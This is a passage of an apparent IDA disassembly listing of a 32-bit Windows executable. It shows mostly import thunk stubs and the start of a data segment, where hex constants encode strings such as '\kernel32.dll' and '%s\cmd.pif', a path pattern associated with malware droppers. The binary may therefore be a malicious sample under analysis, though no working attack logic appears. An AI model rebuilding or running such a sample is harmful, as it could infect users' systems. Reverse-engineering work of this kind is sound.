sub_40C164	proc near		; CODE XREF: sub_40A4E2+35Cp
		jmp	ds:dword_447374
sub_40C164	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C170	proc near		; CODE XREF: sub_4063A9+111p
		jmp	ds:dword_447378
sub_40C170	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C17C	proc near		; CODE XREF: sub_40C0B4+5p
		jmp	ds:dword_44737C
sub_40C17C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C188	proc near		; CODE XREF: sub_40133E+76p
					; sub_4014AA+9p ...
		jmp	ds:dword_447380
sub_40C188	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C194	proc near		; CODE XREF: sub_401DE8:loc_401F1Fp
					; sub_403010+212p ...
		jmp	ds:dword_447384
sub_40C194	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C1A0	proc near		; CODE XREF: sub_401AC1+82p
					; sub_4096E4+639p
		jmp	ds:dword_447388
sub_40C1A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C1AC	proc near		; CODE XREF: sub_40849F+E2p
		jmp	ds:dword_44738C
sub_40C1AC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C1B8	proc near		; CODE XREF: sub_401AC1+E4p
					; sub_401DE8+2EEp ...
		jmp	ds:dword_447390
sub_40C1B8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C1C4	proc near		; CODE XREF: sub_403BAD+143p
					; sub_4042A4+36p ...
		jmp	ds:dword_447394
sub_40C1C4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C1D0	proc near		; CODE XREF: sub_4022D1+Fp
					; sub_402639+FCp ...
		jmp	ds:dword_447398
sub_40C1D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C1DC	proc near		; CODE XREF: sub_40133E+7Cp
					; sub_401AC1+DFp ...
		jmp	ds:dword_44739C
sub_40C1DC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C1E8	proc near		; CODE XREF: sub_4022D1+21p
					; sub_4022D1+36p ...
		jmp	ds:dword_4473A0
sub_40C1E8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C1F4	proc near		; CODE XREF: sub_40133E+45p
					; sub_4014AA:loc_4014DDp ...
		jmp	ds:dword_4473A4
sub_40C1F4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C200	proc near		; CODE XREF: sub_403AC7+36p
					; sub_4042A4+98p ...
		jmp	ds:dword_4473A8
sub_40C200	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C20C	proc near		; CODE XREF: sub_4056EE+10Bp
		jmp	ds:dword_4473AC
sub_40C20C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C218	proc near		; CODE XREF: sub_40181E:loc_40184Fp
					; sub_401DE8:loc_40215Fp ...
		jmp	ds:dword_4473B0
sub_40C218	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C224	proc near		; CODE XREF: sub_4015C0+7Ep
					; sub_401C5D+9Dp ...
		jmp	ds:dword_4473B4
sub_40C224	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C230	proc near		; CODE XREF: sub_4042A4+57p
					; sub_40A4E2+100p
		jmp	ds:dword_4473B8
sub_40C230	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C23C	proc near		; CODE XREF: sub_403AC7+83p
		jmp	ds:dword_4473BC
sub_40C23C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C248	proc near		; CODE XREF: sub_4042A4+135p
					; sub_4096E4+A09p ...
		jmp	ds:dword_4473C0
sub_40C248	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C254	proc near		; CODE XREF: sub_40352B+75p
					; sub_4037D7+59p ...
		jmp	ds:dword_4473C4
sub_40C254	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C260	proc near		; CODE XREF: sub_4035A9+8Ep
					; .text:00403A12p
		jmp	ds:dword_4473C8
sub_40C260	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C26C	proc near		; CODE XREF: sub_4035A9+5Ep
					; .text:004039DBp
		jmp	ds:dword_4473CC
sub_40C26C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C278	proc near		; CODE XREF: sub_402B12+1E3p
		jmp	ds:dword_4473D0
sub_40C278	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C284	proc near		; CODE XREF: sub_4063A9+3F7p
					; sub_40A4E2+2DFp
		jmp	ds:dword_4473D4
sub_40C284	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C290	proc near		; CODE XREF: sub_4063A9+32p
		jmp	ds:dword_4473D8
sub_40C290	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C29C	proc near		; CODE XREF: sub_402B12+1AAp
		jmp	ds:dword_4473DC
sub_40C29C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C2A8	proc near		; CODE XREF: sub_403010+F8p
		jmp	ds:dword_4473E0
sub_40C2A8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C2B4	proc near		; CODE XREF: sub_40133E+10p
					; sub_401719+8p ...
		jmp	ds:dword_4473E4
sub_40C2B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C2C0	proc near		; CODE XREF: sub_402B12+ADp
		jmp	ds:dword_4473E8
sub_40C2C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C2CC	proc near		; CODE XREF: sub_401AC1+A7p
					; sub_405217+5Ap ...
		jmp	ds:dword_4473EC
sub_40C2CC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C2D8	proc near		; CODE XREF: sub_405217:loc_4052B4p
					; sub_4056EE+7Ap ...
		jmp	ds:dword_4473F0
sub_40C2D8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C2E4	proc near		; CODE XREF: sub_40A482+20p
		jmp	ds:dword_4473F4
sub_40C2E4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C2F0	proc near		; CODE XREF: sub_405217+27p
		jmp	ds:dword_4473F8
sub_40C2F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C2FC	proc near		; CODE XREF: sub_40133E+3Ep
					; sub_401AC1+32p ...
		jmp	ds:dword_4473FC
sub_40C2FC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C308	proc near		; CODE XREF: sub_40133E+71p
					; sub_401AC1+D4p
		jmp	ds:dword_447400
sub_40C308	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C314	proc near		; CODE XREF: sub_40107A+13p
		jmp	ds:dword_447404
sub_40C314	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C320	proc near		; CODE XREF: sub_402B12+4EFp
					; sub_4088C3+65p
		jmp	ds:dword_447408
sub_40C320	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C32C	proc near		; CODE XREF: sub_405368+64p
					; sub_4081B0+1D0p ...
		jmp	ds:dword_44740C
sub_40C32C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C338	proc near		; CODE XREF: sub_40849F+10Cp
		jmp	ds:dword_447410
sub_40C338	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C344	proc near		; CODE XREF: sub_40A4E2+4EBp
		jmp	ds:dword_447414
sub_40C344	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C350	proc near		; CODE XREF: sub_4063A9+320p
					; sub_4063A9+348p
		jmp	ds:dword_447418
sub_40C350	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C35C	proc near		; CODE XREF: sub_4063A9+50Ep
		jmp	ds:dword_44741C
sub_40C35C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C368	proc near		; CODE XREF: sub_40879D+14p
		jmp	ds:dword_447420
sub_40C368	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C374	proc near		; CODE XREF: sub_4087BF+1Ep
		jmp	ds:dword_447424
sub_40C374	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C380	proc near		; CODE XREF: sub_403010+35p
		jmp	ds:dword_447428
sub_40C380	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C38C	proc near		; CODE XREF: sub_4063A9+275p
		jmp	ds:dword_44742C
sub_40C38C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C398	proc near		; CODE XREF: sub_406966+47p
		jmp	ds:dword_447430
sub_40C398	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C3A4	proc near		; CODE XREF: sub_403BAD+1A6p
					; sub_4042A4+2C5p ...
		jmp	ds:dword_447434
sub_40C3A4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C3B0	proc near		; CODE XREF: sub_403BAD+F9p
					; sub_40403C+11p ...
		jmp	ds:dword_447438
sub_40C3B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C3BC	proc near		; CODE XREF: sub_401C5D+B5p
					; sub_405600+11p ...
		jmp	ds:dword_44743C
sub_40C3BC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C3C8	proc near		; CODE XREF: sub_406966+1Cp
		jmp	ds:dword_447440
sub_40C3C8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C3D4	proc near		; CODE XREF: sub_408043+2Cp
					; sub_40A4E2+77Ap
		jmp	ds:dword_447444
sub_40C3D4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C3E0	proc near		; CODE XREF: sub_4042A4+1C5p
					; sub_4063A9+41Ep ...
		jmp	ds:dword_447448
sub_40C3E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C3EC	proc near		; CODE XREF: sub_4063A9+35Fp
					; sub_406B40+8Bp ...
		jmp	ds:dword_447454
sub_40C3EC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C3F8	proc near		; CODE XREF: sub_408C98+A1p
					; sub_40ADF7+DBp ...
		jmp	ds:dword_447458
sub_40C3F8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C404	proc near		; CODE XREF: sub_4063A9+300p
		jmp	ds:dword_44745C
sub_40C404	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C410	proc near		; CODE XREF: sub_408BEF+26p
					; sub_408BEF+9Bp
		jmp	ds:dword_447460
sub_40C410	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C41C	proc near		; CODE XREF: sub_408BEF+65p
		jmp	ds:dword_447464
sub_40C41C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C428	proc near		; CODE XREF: sub_408C98+A3Dp
					; sub_40ACD5+36p ...
		jmp	ds:dword_447468
sub_40C428	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C434	proc near		; CODE XREF: sub_406E3F+7Cp
		jmp	ds:dword_44746C
sub_40C434	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C440	proc near		; CODE XREF: sub_40A4E2+459p
		jmp	ds:dword_447470
sub_40C440	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C44C	proc near		; CODE XREF: sub_40A4E2+47Bp
		jmp	ds:dword_447474
sub_40C44C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C458	proc near		; CODE XREF: sub_40A4E2+7A9p
		jmp	ds:dword_447478
sub_40C458	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C464	proc near		; CODE XREF: sub_40A4E2+4A4p
		jmp	ds:dword_44747C
sub_40C464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C470	proc near		; CODE XREF: sub_40ADF7+367p
					; sub_40ADF7+42Bp ...
		jmp	ds:dword_447480
sub_40C470	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C47C	proc near		; CODE XREF: sub_40A4E2+7E3p
		jmp	ds:dword_447484
sub_40C47C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C488	proc near		; CODE XREF: sub_408C98+946p
					; sub_408C98+985p ...
		jmp	ds:dword_447488
sub_40C488	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C494	proc near		; CODE XREF: sub_408C98+96Ap
					; sub_408C98+99Cp ...
		jmp	ds:dword_44748C
sub_40C494	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C4A0	proc near		; CODE XREF: sub_404602+73p
		jmp	ds:dword_447490
sub_40C4A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C4AC	proc near		; CODE XREF: sub_404602+A3p
		jmp	ds:dword_447494
sub_40C4AC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C4B8	proc near		; CODE XREF: sub_404602+2Ep
		jmp	ds:dword_447498
sub_40C4B8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C4C4	proc near		; CODE XREF: sub_40A4E2+7C1p
		jmp	ds:dword_44749C
sub_40C4C4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C4D0	proc near		; CODE XREF: sub_40A4E2+7CFp
		jmp	ds:dword_4474A0
sub_40C4D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C4DC	proc near		; CODE XREF: sub_408C98+256p
					; sub_408C98+38Bp ...
		jmp	ds:dword_4474A4
sub_40C4DC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C4E8	proc near		; CODE XREF: sub_40507F+64p
					; sub_40507F+CAp ...
		jmp	ds:dword_4474A8
sub_40C4E8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C4F4	proc near		; CODE XREF: sub_40ADF7+1EBp
		jmp	ds:dword_4474AC
sub_40C4F4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C500	proc near		; CODE XREF: sub_408C98+77p
					; sub_40ADF7+86Fp
		jmp	ds:dword_4474B0
sub_40C500	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C50C	proc near		; CODE XREF: sub_408C98+FDp
					; sub_408C98+16Ap ...
		jmp	ds:dword_4474B4
sub_40C50C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C518	proc near		; CODE XREF: sub_40ADF7+202p
					; sub_40ADF7+77Ap
		jmp	ds:dword_4474B8
sub_40C518	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C524	proc near		; CODE XREF: sub_40ADF7+175p
		jmp	ds:dword_4474BC
sub_40C524	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C530	proc near		; CODE XREF: sub_40ADF7+882p
		jmp	ds:dword_4474C0
sub_40C530	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C53C	proc near		; CODE XREF: sub_40ACD5+10Fp
		jmp	ds:dword_4474C4
sub_40C53C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C548	proc near		; CODE XREF: sub_40A4E2+489p
		jmp	ds:dword_4474D0
sub_40C548	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C554	proc near		; CODE XREF: sub_40ADF7+298p
		jmp	ds:dword_4474D4
sub_40C554	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C560	proc near		; CODE XREF: sub_40ADF7+271p
					; sub_40ADF7+27Dp
		jmp	ds:dword_4474D8
sub_40C560	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C56C	proc near		; CODE XREF: sub_40ADF7+2C0p
		jmp	ds:dword_4474DC
sub_40C56C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C578	proc near		; CODE XREF: sub_408C98+221p
					; sub_408C98+85Ap
		jmp	ds:dword_4474E0
sub_40C578	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C584	proc near		; CODE XREF: sub_405217:loc_405254p
		jmp	ds:dword_4474EC
sub_40C584	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C590	proc near		; CODE XREF: sub_405217+76p
		jmp	ds:dword_4474F0
sub_40C590	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C59C	proc near		; CODE XREF: sub_4015C0+39p
					; sub_404156+57p
		jmp	ds:dword_4474F4
sub_40C59C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C5A8	proc near		; CODE XREF: sub_4014AA+5Fp
					; sub_4015C0+86p ...
		jmp	ds:dword_4474F8
sub_40C5A8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C5B4	proc near		; CODE XREF: sub_4014AA+1Fp
		jmp	ds:dword_4474FC
sub_40C5B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C5C0	proc near		; CODE XREF: sub_4014AA+49p
		jmp	ds:dword_447500
sub_40C5C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C5CC	proc near		; CODE XREF: sub_4015C0+77p
					; sub_404156+7Ep
		jmp	ds:dword_447504
sub_40C5CC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C5D8	proc near		; CODE XREF: sub_402355+129p
		jmp	ds:dword_447508
sub_40C5D8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C5E4	proc near		; CODE XREF: sub_402355+173p
		jmp	ds:dword_44750C
sub_40C5E4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C5F0	proc near		; CODE XREF: sub_402355+159p
		jmp	ds:dword_447510
sub_40C5F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C5FC	proc near		; CODE XREF: sub_40507F+1Fp
		jmp	ds:dword_447514
sub_40C5FC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C608	proc near		; CODE XREF: sub_40507F+160p
		jmp	ds:dword_447518
sub_40C608	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C614	proc near		; CODE XREF: sub_40507F+32p
		jmp	ds:dword_44751C
sub_40C614	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C620	proc near		; CODE XREF: sub_4036DA+42p
		jmp	ds:dword_447528
sub_40C620	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C62C	proc near		; CODE XREF: sub_401219+49p
		jmp	ds:dword_44752C
sub_40C62C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C638	proc near		; CODE XREF: sub_406B40+179p
					; sub_406E3F+56p ...
		jmp	ds:dword_447530
sub_40C638	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C644	proc near		; CODE XREF: sub_405409+101p
					; sub_405409+1A1p
		jmp	ds:dword_447534
sub_40C644	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C650	proc near		; CODE XREF: sub_4096E4+CB4p
					; sub_4096E4+CD6p
		jmp	ds:dword_447538
sub_40C650	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C65C	proc near		; CODE XREF: sub_401219+74p
					; sub_4096E4+C4Bp ...
		jmp	ds:dword_44753C
sub_40C65C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C668	proc near		; CODE XREF: sub_4088C3+F9p
		jmp	ds:dword_447540
sub_40C668	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C674	proc near		; CODE XREF: sub_40129C+1Bp
					; .text:00401426p ...
		jmp	ds:dword_447544
sub_40C674	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C680	proc near		; CODE XREF: sub_4063A9+5Cp
					; sub_4063A9+1E4p ...
		jmp	ds:dword_447548
sub_40C680	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C68C	proc near		; CODE XREF: sub_40109A+149p
		jmp	ds:dword_44754C
sub_40C68C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C698	proc near		; CODE XREF: sub_401719:loc_40173Bp
					; sub_403D6F+4Ep ...
		jmp	ds:dword_447550
sub_40C698	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C6A4	proc near		; CODE XREF: sub_40109A+102p
					; sub_40109A+11Cp ...
		jmp	ds:dword_447554
sub_40C6A4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C6B0	proc near		; CODE XREF: sub_4038D6+28p
					; .text:00403994p ...
		jmp	ds:dword_447558
sub_40C6B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C6BC	proc near		; CODE XREF: sub_4096E4+6Dp
					; sub_40A4E2+124p
		jmp	ds:dword_44755C
sub_40C6BC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C6C8	proc near		; CODE XREF: sub_4096E4+94Dp
		jmp	ds:dword_447560
sub_40C6C8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C6D4	proc near		; CODE XREF: sub_40352B+61p
					; sub_4035A9+4Ap ...
		jmp	ds:dword_447564
sub_40C6D4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C6E0	proc near		; CODE XREF: sub_40C0B4+17p
		jmp	ds:dword_447568
sub_40C6E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C6EC	proc near		; CODE XREF: sub_4063A9+43Ep
		jmp	ds:dword_44756C
sub_40C6EC	endp

; ---------------------------------------------------------------------------
		align 1000h
_text		ends

; Section 2. (virtual address 0000D000)
; Virtual size			: 0002D3FC ( 185340.)
; Section size in file		: 0002D3FC ( 185340.)
; Offset to raw	data for section: 0000D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_bss		segment	para public 'DATA' use32
		assume cs:_bss
		;org 40D000h
dword_40D000	dd 72656B5Ch						; sub_408403+92r ...
aNel32_dll	db 'nel32.dll',0
		align 10h
		dd 0
		dd 5C732500h, 2E646D63h, 666970h, 0
		db    0
		db 2 dup(0), 5Ch
